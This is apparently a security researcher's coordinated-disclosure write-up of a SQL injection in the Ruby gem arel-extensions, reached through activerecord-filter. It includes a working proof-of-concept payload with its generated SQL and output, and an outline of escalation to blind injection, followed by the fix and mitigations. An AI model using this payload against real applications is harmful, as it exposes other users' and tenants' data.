Security research · Ruby

One dot in a filter, one SQL injection in arel-extensions.

The gem concatenates JSON path segments straight into the SQL string, with no escaping. When those segments come from a request parameter — the intended use with activerecord-filter — a single }' is enough to break out of the literal and write your own WHERE clause.

Coordinated disclosure. I reported the issue privately to the maintainer. It was fixed before publication and disclosed on September 1, 2026. Versions through 9.0.0 are vulnerable; 9.0.1 contains the fix.

A gem that writes SQL by hand

arel-extensions adds the operators Rails does not ship with to Arel and ActiveRecord: array and JSON predicates, PostgreSQL full-text search, geometry predicates. Infrastructure code, roughly 116,000 downloads, the kind of dependency that sits in a Gemfile without anyone ever reading it.

It is an Arel visitor: its PostgreSQL half takes a node of the query tree and writes out the matching SQL fragment. Writing SQL, literally, by concatenating strings. That is exactly where you want to ask where the concatenated values come from.

The path segment goes into the query as-is

In lib/arel/visitors/postgresql_extensions.rb, visit_Arel_Attributes_Key — the method that translates a JSON key access — writes the segment name without passing it through any quoting function:

collector << "\#>'{" << o.name.to_s
collector << (last_key ? "}'" : ",")

The expected output looks like "properties"."metadata"#>'{key}'. So the segment lands inside curly braces, inside a single-quoted SQL string. Nothing escapes it. A segment containing }' closes the brace and the string, and everything after it is parsed as SQL by PostgreSQL.

Which leaves the only question that matters: can an outsider choose that o.name?

Only the first segment is validated

Yes, and through the most ordinary path there is. The companion gem activerecord-filter exists to turn HTTP request parameters into SQL conditions — Model.filter(params[:filter]) is its documented usage. In expand_filter_for_column:

if column.type == :json || column.type == :jsonb
  names = key.to_s.split('.')
  names.shift
  attribute = attribute.dig(names)

split('.') breaks the key apart, shift drops the first piece — the only one checked against columns_hash, that is, against the table's real columns. Everything after the first dot is compared to nothing at all and travels intact down to the visitor.

Put differently: as soon as a key starts with the name of a real jsonb column, the rest is attacker-controlled free text.

The PoC is fifteen lines

PostgreSQL, a jsonb column, activerecord-filter and arel-extensions 9.0.0. Two rows: one public, one that should never come back.

require 'active_record'
require 'active_record/filter'

ActiveRecord::Base.establish_connection(adapter: 'postgresql', database: 'poc')
c = ActiveRecord::Base.connection
c.execute("CREATE TABLE properties (id serial primary key, secret text, metadata jsonb)")
c.execute("INSERT INTO properties (secret, metadata) VALUES ('PUBLIC', '{\"key\":\"v\"}')")
c.execute("INSERT INTO properties (secret, metadata) VALUES ('TOP_SECRET', '{\"other\":\"z\"}')")

class Property < ActiveRecord::Base; end

# only the PUBLIC row has metadata.key,
# so a working filter should never return TOP_SECRET
evil = "metadata.key}' IS NOT NULL OR 1=1 --"
rel  = Property.filter(evil => { eq: 'v' })

puts rel.to_sql
puts rel.pluck(:secret).inspect

The generated SQL shows the break-out from the literal, and the -- comment swallowing the tail of the legitimate condition:

SELECT "properties".* FROM "properties"
WHERE "properties"."metadata"#>'{key}' IS NOT NULL OR 1=1 --}' = 'v'

=> ["PUBLIC", "TOP_SECRET"]

The OR 1=1 runs. Here evil stands in for a key of params[:filter]: in a real application, that is the name of a search field sent by the client.

From filter bypass to blind injection

Reading other people's rows is only the first floor. The injected value lands in a raw WHERE clause: swap OR 1=1 for AND (SELECT ...) and this is textbook blind SQL injection, with the full toolkit — character-by-character exfiltration, reading other tables, anything the application's PostgreSQL role is allowed to do.

  • Filter bypass: the attacker reads rows the filter was meant to keep out of reach, including other tenants' rows in a multi-tenant application.
  • Blind injection: boolean subqueries in the WHERE clause, so exfiltration of anything readable by the application role.
  • Prerequisites: none beyond whatever access the endpoint already requires. If the filtered search is public, so is the injection.

The CVSS v4 score of 8.7 reflects that: network, low complexity, no privileges, no user interaction, high confidentiality impact.

Stop putting the segment in a literal

9.0.1 stops building the '{a,b}' string. Segments are emitted as a SQL array whose elements are quoted normally:

-- before
"properties"."metadata"#>'{a,b}'

-- after
"properties"."metadata"#> array['a','b']

A segment can no longer terminate the path expression: it stays a value instead of becoming syntax. One detail that matters for upgrading — PostgreSQL const-folds the array back to '{a,b}'::text[], so query plans and expression indexes written against the literal form are unchanged.

The same release hardens cast_as, which also interpolated its type name unescaped — not reachable through activerecord-filter, but the same class of bug. It now raises an ArgumentError unless the name looks like a type identifier. The fix is in PR #12.

If you use arel-extensions

Move to 9.0.1: bundle update arel-extensions. Every earlier version is affected.

If upgrading has to wait, untrusted input must be kept away from key and dig. Concretely, for activerecord-filter: an allowlist of accepted filter keys before calling Model.filter, or at minimum rejecting any key that does not match /\A[a-zA-Z0-9_.]+\z/.

And the habit that outlives this particular gem: when a dependency builds SQL by concatenating strings, the question is not whether it looks well maintained. It is which of your request parameters end up inside those strings.

A Ruby application to test?

I test web applications, APIs and their dependencies by hand. You talk to the same person from scoping to retest.